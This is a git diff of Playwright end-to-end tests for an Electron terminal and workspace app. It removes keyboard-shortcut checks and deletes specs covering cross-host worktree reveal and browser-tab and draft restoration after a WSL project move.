pressAndExpectWrite(orcaPage, electronApp, 'Shift+Enter', '\x1b\r') - - if (isMac) { - // Cmd+←/→ → Ctrl+A / Ctrl+E (beginning/end of line). - await pressAndExpectWrite(orcaPage, electronApp, 'Meta+ArrowLeft', '\x01') - await pressAndExpectWrite(orcaPage, electronApp, 'Meta+ArrowRight', '\x05') - - // Cmd+Backspace → Ctrl+U (kill line). Cmd+Delete → Ctrl+K (kill to EOL). - await pressAndExpectWrite(orcaPage, electronApp, 'Meta+Backspace', '\x15') - await pressAndExpectWrite(orcaPage, electronApp, 'Meta+Delete', '\x0b') - } - - await orcaPage.evaluate(async () => { - await window.__store!.getState().setKeybindingOverride('terminal.clear', ['Mod+Shift+K']) - }) - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.press(`${mod}+Shift+k`) - await expect - .poll(async () => (await getTerminalContent(orcaPage)).includes(marker), { - timeout: 5_000, - message: 'The configured clear shortcut did not clear the terminal buffer' - }) - .toBe(false) - await orcaPage.evaluate(async () => { - await window.__store!.getState().resetKeybindingOverride('terminal.clear') - }) - - const panesBeforeSplit = await countVisibleTerminalPanes(orcaPage) - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.press(splitVerticalChord) - await waitForPaneCount(orcaPage, panesBeforeSplit + 1) - // Require the split PTY binding before close to avoid racing unfinished creation. - await waitForActivePanePtyId(orcaPage) - - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.press(`${mod}+BracketRight`) - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.press(`${mod}+BracketLeft`) - expect(await countVisibleTerminalPanes(orcaPage)).toBe(panesBeforeSplit + 1) - - // Test expand while split remains open because it requires >1 pane. - const readExpanded = async (): Promise => - orcaPage.evaluate(() => { - const state = window.__store?.getState() - const tabId = state?.activeTabId - if (!state || !tabId) { - return false - } - return state.expandedPaneByTabId[tabId] === true - }) - expect(await readExpanded()).toBe(false) - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.press(`${mod}+Shift+Enter`) - await expect - .poll(readExpanded, { timeout: 3_000, message: 'Cmd+Shift+Enter did not expand pane' }) - .toBe(true) - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.press(`${mod}+Shift+Enter`) - await expect - .poll(readExpanded, { timeout: 3_000, message: 'Cmd+Shift+Enter did not collapse pane' }) - .toBe(false) - - await closeActivePaneAndSettle(orcaPage, panesBeforeSplit) - - const panesBeforeHSplit = await countVisibleTerminalPanes(orcaPage) - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.press(splitHorizontalChord) - await waitForPaneCount(orcaPage, panesBeforeHSplit + 1) - await waitForActivePanePtyId(orcaPage) - await closeActivePaneAndSettle(orcaPage, panesBeforeHSplit) - - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.press(`${mod}+f`) - const searchInput = orcaPage.locator('[data-terminal-search-root] input').first() - // Wait for search-input focus: React’s Escape handler otherwise loses an early key to xterm. - await expect(searchInput).toBeFocused({ timeout: 3_000 }) - await orcaPage.keyboard.press('Escape') - await expect(orcaPage.locator('[data-terminal-search-root]').first()).toBeHidden({ - timeout: 3_000 - }) - }) - test('Cmd+Up/Down scrolls terminal viewport without writing to the PTY on macOS', async ({ orcaPage, electronApp diff --git a/tests/e2e/worktree-reveal-host-sections.spec.ts b/tests/e2e/worktree-reveal-host-sections.spec.ts deleted file mode 100644 index 3655c13f8a5..00000000000 --- a/tests/e2e/worktree-reveal-host-sections.spec.ts +++ /dev/null @@ -1,267 +0,0 @@ -import { execFileSync } from 'node:child_process' -import { mkdirSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedElectronClient } from './helpers/paired-electron-client' -import { attachRepoAndOpenTerminal } from './helpers/orca-restart' -import { evaluatePolled } from './helpers/page-evaluate-polled' -import { launchWithUnreachableSshWorkspaces } from './helpers/seeded-ssh-workspaces' -import { waitForSessionReady, waitForStartupWorktreeRefresh } from './helpers/store' -import { toRuntimeExecutionHostId, type ExecutionHostId } from '../../src/shared/execution-host' - -const sections = [ - { groupBy: 'none', key: 'pinned', label: 'Pinned', pinned: true }, - { groupBy: 'none', key: 'all', label: 'All', pinned: false }, - { - groupBy: 'workspace-status', - key: 'workspace-status:in-progress', - label: 'In progress', - pinned: false - }, - { groupBy: 'pr-status', key: 'pr:in-progress', label: 'In progress', pinned: false } -] as const - -/** Pins through main and waits for its answer. */ -async function pinWorkspace( - page: Page, - worktreeId: string, - isPinned: boolean, - executionHostId: ExecutionHostId -): Promise { - await evaluatePolled( - page, - async (args) => { - const written = await window.__store!.getState().updateWorktreeMeta( - args.worktreeId, - { isPinned: args.isPinned }, - { - executionHostId: args.executionHostId - } - ) - if (!written.ok) { - throw new Error(`Pinning failed: ${written.error}`) - } - }, - { worktreeId, isPinned, executionHostId } - ) -} - -/** A desktop whose main holds a local workspace and one on another host, as a user's would. */ -type RevealTopology = { - page: Page - local: string - remote: string - remoteHostId: ExecutionHostId - setRemotePinned: (pinned: boolean) => Promise -} - -async function expectRevealsWithinHost( - { page, local, remote, remoteHostId, setRemotePinned }: RevealTopology, - testInfo: TestInfo -): Promise { - for (const section of sections) { - for (const collapsedHost of [false, true]) { - const scenario = `${section.key.replaceAll(':', '-')}-collapsed-${collapsedHost}` - await test.step(scenario, async () => { - await setRemotePinned(section.pinned) - await pinWorkspace(page, local, section.pinned, 'local') - // The window must show both pins before the reveal, or the row opens in the other section. - await expect - .poll(() => - page.evaluate( - (ids) => - Object.values(window.__store!.getState().worktreesByRepo) - .flat() - .filter((worktree) => ids.includes(worktree.id)) - .map((worktree) => worktree.isPinned), - [local, remote] - ) - ) - .toEqual([section.pinned, section.pinned]) - const collapsedGroups = [ - section.key, - `${section.key}:host:${remoteHostId}`, - ...(collapsedHost ? [`host:${remoteHostId}`] : []) - ] - await evaluatePolled( - page, - async ({ remote, remoteHostId, collapsedGroups, section }) => { - const store = window.__store! - const state = store.getState() - const remoteRepoId = Object.values(state.worktreesByRepo) - .flat() - .find((worktree) => worktree.id === remote)!.repoId - state.setActiveView('terminal') - state.setSidebarOpen(true) - state.setShowSleepingWorkspaces(true) - state.setHideDefaultBranchWorkspace(false) - state.setFilterRepoIds([]) - await window.api.ui.set({ groupBy: section.groupBy, collapsedGroups }) - store.setState({ - groupBy: section.groupBy, - visibleWorkspaceHostIds: ['local', remoteHostId], - workspaceHostScope: 'all', - activeRepoId: remoteRepoId, - activeWorktreeId: remote, - activeWorkspaceKey: `worktree:${remote}`, - activeWorkspaceExecutionHostId: remoteHostId, - pendingRevealWorktree: null, - collapsedGroups: new Set(collapsedGroups) - }) - }, - { remote, remoteHostId, collapsedGroups, section } - ) - const headers = page.getByRole('button', { name: new RegExp(`^${section.label}`) }) - const localRow = page.locator( - `[data-worktree-sidebar] [role="option"][data-worktree-id=${JSON.stringify(local)}]` - ) - const remoteRow = page.locator( - `[data-worktree-sidebar] [role="option"][data-worktree-id=${JSON.stringify(remote)}]` - ) - if (section.pinned || section.groupBy === 'workspace-status') { - await expect(headers.first()).toHaveAttribute('aria-expanded', 'false') - } - await expect(localRow).toHaveCount(0) - await expect(remoteRow).toHaveCount(0) - await page.screenshot({ - path: testInfo.outputPath(`${scenario}-before-reveal.png`), - clip: { x: 0, y: 170, width: 280, height: 500 } - }) - await page.getByRole('button', { name: 'Reveal active workspace' }).click() - await expect(remoteRow).toBeVisible() - await expect(remoteRow).toHaveAttribute('data-scroll-reveal-highlight', 'true') - await page.screenshot({ - path: testInfo.outputPath(`${scenario}-after-reveal.png`), - clip: { x: 0, y: 170, width: 280, height: 500 } - }) - await expect(headers).toHaveCount(2) - if (section.pinned || section.groupBy === 'workspace-status') { - await expect(headers.first()).toHaveAttribute('aria-expanded', 'false') - await expect(headers.last()).toHaveAttribute('aria-expanded', 'true') - } - await expect(localRow).toHaveCount(0) - - await headers.last().click() - await expect(remoteRow).toHaveCount(0) - await page.evaluate((localId) => { - const store = window.__store! - const worktree = Object.values(store.getState().worktreesByRepo) - .flat() - .find((entry) => entry.id === localId)! - store.setState({ - activeRepoId: worktree.repoId, - activeWorktreeId: localId, - activeWorkspaceKey: `worktree:${localId}`, - activeWorkspaceExecutionHostId: 'local', - pendingRevealWorktree: null - }) - }, local) - await page.getByRole('button', { name: 'Reveal active workspace' }).click() - await expect(localRow).toBeVisible() - if (section.pinned || section.groupBy === 'workspace-status') { - await expect(headers.first()).toHaveAttribute('aria-expanded', 'true') - await expect(headers.last()).toHaveAttribute('aria-expanded', 'false') - } - await expect(remoteRow).toHaveCount(0) - // Finish the reveal and its persistence before resetting the next scenario. - await expect - .poll(() => - page.evaluate(async () => ({ - pendingRevealWorktree: window.__store!.getState().pendingRevealWorktree, - collapsedGroups: [...window.__store!.getState().collapsedGroups].sort(), - persistedCollapsedGroups: (await window.api.ui.get()).collapsedGroups?.sort() - })) - ) - .toEqual({ - pendingRevealWorktree: null, - collapsedGroups: [`${section.key}:host:${remoteHostId}`], - persistedCollapsedGroups: [`${section.key}:host:${remoteHostId}`] - }) - await expect(localRow).toBeVisible() - await expect(remoteRow).toHaveCount(0) - }) - } - } -} - -test("reveals an unreachable SSH host's workspaces without expanding another host's section", async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(4 * 60_000) - const launched = await launchWithUnreachableSshWorkspaces(testInfo, testRepoPath, { - label: 'Remote builder', - workspaces: [{ name: 'feature', displayName: 'Remote workspace' }] - }) - try { - const { page, ssh, localWorktreeId } = launched - await page.emulateMedia({ reducedMotion: 'reduce' }) - const remote = ssh.worktreeIds.feature! - await expectRevealsWithinHost( - { - page, - local: localWorktreeId, - remote, - remoteHostId: ssh.hostId, - setRemotePinned: (isPinned) => pinWorkspace(page, remote, isPinned, ssh.hostId) - }, - testInfo - ) - } finally { - await launched.dispose() - } -}) - -test("reveals a paired server's workspaces without expanding another host's section", async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(4 * 60_000) - const serverRepo = testInfo.outputPath('server-repo') - mkdirSync(serverRepo, { recursive: true }) - writeFileSync(path.join(serverRepo, 'README.md'), 'server repo\n') - const git = (...args: string[]) => execFileSync('git', args, { cwd: serverRepo, stdio: 'pipe' }) - git('init', '-b', 'main') - git('add', 'README.md') - git('-c', 'user.name=E2E', '-c', 'user.email=e2e@test.local', 'commit', '-m', 'init') - - const host = await launchHeadlessPairedRuntimeHost({ pairingScope: 'runtime' }) - try { - const desktop = await launchPairedElectronClient(host.offer, testInfo, 'reveal-host-sections') - try { - const { page } = desktop - await page.emulateMedia({ reducedMotion: 'reduce' }) - await waitForSessionReady(page) - const local = await attachRepoAndOpenTerminal(page, testRepoPath) - await waitForStartupWorktreeRefresh(page) - const added = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: serverRepo, - kind: 'git' - }) - const created = await host.client.call<{ worktree: { id: string } }>('worktree.create', { - repo: `id:${added.result.repo.id}`, - name: 'feature', - displayName: 'Remote workspace', - setupDecision: 'skip' - }) - const remote = created.result.worktree.id - const remoteHostId = toRuntimeExecutionHostId(desktop.environmentId) - await expectRevealsWithinHost( - { - page, - local, - remote, - remoteHostId, - setRemotePinned: async (isPinned) => { - await host.client.call('worktree.set', { worktree: `id:${remote}`, isPinned }) - } - }, - testInfo - ) - } finally { - await desktop.dispose() - } - } finally { - await host.dispose() - } -}) diff --git a/tests/e2e/wsl-host-paired-phone.spec.ts b/tests/e2e/wsl-host-paired-phone.spec.ts index 922056059a3..457d87a07a2 100644 --- a/tests/e2e/wsl-host-paired-phone.spec.ts +++ b/tests/e2e/wsl-host-paired-phone.spec.ts @@ -15,7 +15,7 @@ import { createRuntimeDesktopPairingOffer } from './helpers/paired-electron-client' import { pairMobileClient, type PairedMobileSocket } from './helpers/paired-mobile-client' -import { toRuntimeExecutionHostId } from '../../src/shared/execution-host' +import { toRuntimeExecutionHostId } from '../../src/shared/execution-host/execution-host' import { notificationExecutionHostForOwner } from '../../src/shared/notifications/notification-source' import { waitForSessionReady } from './helpers/store' import { diff --git a/tests/e2e/wsl-move-host-browser-drafts.spec.ts b/tests/e2e/wsl-move-host-browser-drafts.spec.ts deleted file mode 100644 index 2c90224895b..00000000000 --- a/tests/e2e/wsl-move-host-browser-drafts.spec.ts +++ /dev/null @@ -1,149 +0,0 @@ -/** - * A moved project's browser tabs and unsaved drafts, as the moving desktop sees them once the WSL - * host owns the project. The distro's server has no browser of its own and the move never sends it - * drafts, so both come back only from the copy of the host's session this desktop kept. - * - * Run: - * pnpm exec playwright test tests/e2e/wsl-move-host-browser-drafts.spec.ts \ - * --config tests/playwright.config.ts --project electron-headless --workers=1 - */ -import { mkdtempSync, realpathSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { launchPairedElectronClient } from './helpers/paired-electron-client' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { mutateStoppedProfileState } from './helpers/persisted-profile-state' -import { - createMovedRepo, - MOVED_BROWSER_URL, - movedWorkspaceRows, - seedImportedMovedTab, - withMovedRows -} from './helpers/wsl-moved-host-profile' -import { toRuntimeExecutionHostId } from '../../src/shared/execution-host' - -const DRAFT = 'unsaved words typed before the move' - -test("a moved project's browser tab and draft come back on the desktop from a browserless host", async (// oxlint-disable-next-line no-empty-pattern -- Playwright requires destructuring to request no fixtures. -{}, testInfo) => { - test.skip(process.platform === 'win32', 'POSIX paths') - // A host and two client launches, with a profile edit between them. - test.setTimeout(600_000) - const root = mkdtempSync(path.join(os.tmpdir(), 'orca-moved-browser-drafts-')) - const repoPath = realpathSync(createMovedRepo(root)) - const notesPath = path.join(repoPath, 'notes.md') - writeFileSync(notesPath, 'saved words\n') - const openFile = { filePath: notesPath, relativePath: 'notes.md' } - const host = await launchHeadlessPairedRuntimeHost({ - pinnedServePort: true, - withoutBrowser: true, - // Stands in for the distro's orcad, the only host that serves moved panes' history. - extraEnv: { ORCA_E2E_WSL_MOVE_DESTINATION: '1' } - }) - try { - const added = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: repoPath, - kind: 'git' - }) - const worktreeId = `${added.result.repo.id}::${repoPath}` - await host.restartServeProcess({ - betweenProcesses: () => - seedImportedMovedTab(host.userDataDir, worktreeId, 'moved history\r\n', { - openFiles: [openFile], - browserTab: false - }) - }) - const first = await launchPairedElectronClient(host.offer, testInfo, 'moved-browser-drafts') - const { environmentId, userDataDir } = first - let client = first - try { - await expect - .poll( - () => - client.page.evaluate( - (id) => - Boolean( - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) - ), - worktreeId - ), - { timeout: 60_000 } - ) - .toBe(true) - // This desktop mirrors the host's tabs before it quits, as one open before the move did. - await expect - .poll( - () => - client.page.evaluate( - (id) => (window.__store?.getState().unifiedTabsByWorktree[id] ?? []).length, - worktreeId - ), - { timeout: 60_000, message: "the desktop never mirrored the host's tabs" } - ) - .toBeGreaterThan(0) - await client.quitPreservingProfile() - // The move's seed of this desktop's copy of the host's session: browser tab and draft included. - mutateStoppedProfileState(userDataDir, (state) => { - const held = state.workspaceSessionsByHostId - const partitions: Record = - held && typeof held === 'object' ? { ...held } : {} - const hostId = toRuntimeExecutionHostId(environmentId) - const current = partitions[hostId] - const partition: Record = - current && typeof current === 'object' ? { ...current } : {} - withMovedRows( - partition, - movedWorkspaceRows(worktreeId, { - openFiles: [{ ...openFile, dirtyDraftContent: DRAFT }], - runtimeEnvironmentId: environmentId - }) - ) - state.workspaceSessionsByHostId = { ...partitions, [hostId]: partition } - }) - client = await launchPairedElectronClient(host.offer, testInfo, 'moved-browser-drafts', { - reuseUserDataDir: userDataDir - }) - await client.page.evaluate((id) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(id) - }, worktreeId) - const readMoved = () => - client.page.evaluate( - ({ id, path: filePath }) => { - const store = window.__store?.getState() - const browserUrls = (store?.browserTabsByWorktree[id] ?? []).flatMap((workspace) => - (store?.browserPagesByWorkspace[workspace.id] ?? []).map((page) => page.url) - ) - const file = store?.openFiles.find( - (entry) => entry.worktreeId === id && entry.filePath === filePath - ) - return { - browserUrls, - tabs: (store?.unifiedTabsByWorktree[id] ?? []).map((tab) => tab.contentType), - draft: file ? (store?.editorDrafts[file.id] ?? null) : null - } - }, - { id: worktreeId, path: notesPath } - ) - await expect - .poll(async () => (await readMoved()).tabs, { timeout: 60_000 }) - .toEqual(expect.arrayContaining(['browser', 'editor'])) - const moved = await readMoved() - console.log(`[moved-browser-drafts] ${JSON.stringify(moved)}`) - // What the user sees: a tab for each, not only rows in the store. - expect.soft(moved.tabs).toEqual(expect.arrayContaining(['browser', 'editor'])) - expect.soft(moved.browserUrls).toContain(MOVED_BROWSER_URL) - expect.soft(moved.draft).toBe(DRAFT) - } finally { - await client.dispose() - } - } finally { - await host.dispose() - rmSync(root, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/wsl-move-restore-lifecycle.spec.ts b/tests/e2e/wsl-move-restore-lifecycle.spec.ts index 39256697233..bc9c69f8766 100644 --- a/tests/e2e/wsl-move-restore-lifecycle.spec.ts +++ b/tests/e2e/wsl-move-restore-lifecycle.spec.ts @@ -56,7 +56,7 @@ import { getHistorySessionDirName } from '../../src/main/daemon/history/storage/ import { readWslMoveSleptScrollbackFromHistory } from '../../src/main/persistence/moving-wsl-projects/terminal-state/wsl-move-slept-scrollback' import { wslMoveCutoverFixture } from '../../src/main/persistence/__fixtures__/wsl-mover/wsl-move-cutover-fixture' import { seedWslMoveCutover } from '../../src/main/persistence/__fixtures__/wsl-mover/wsl-move-journal-seeding' -import { toRuntimeExecutionHostId } from '../../src/shared/execution-host' +import { toRuntimeExecutionHostId } from '../../src/shared/execution-host/execution-host' import { WSL_HOSTS_INTERNAL_GATE_ENV } from '../../src/shared/remote-runtime/wsl-hosts/wsl-host-internal-gate' import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' diff --git a/tests/tools/omp-source-control-ui/fixture.tsx b/tests/tools/omp-source-control-ui/fixture.tsx index e1d2485b3a7..c670542d862 100644 --- a/tests/tools/omp-source-control-ui/fixture.tsx +++ b/tests/tools/omp-source-control-ui/fixture.tsx @@ -1,7 +1,7 @@ import React from 'react' import { createRoot } from 'react-dom/client' -import { getDefaultSettings } from '../../../src/shared/constants' -import type { GlobalSettings } from '../../../src/shared/global-settings-types' +import { getDefaultSettings } from '../../../src/shared/orca-profiles/constants' +import type { GlobalSettings } from '../../../src/shared/settings/global-settings-types' import { CommitMessageAiPane } from '../../../src/renderer/src/components/settings/source-control/CommitMessageAiPane' import { TooltipProvider } from '../../../src/renderer/src/components/ui/tooltip' import { useAppStore } from '../../../src/renderer/src/store'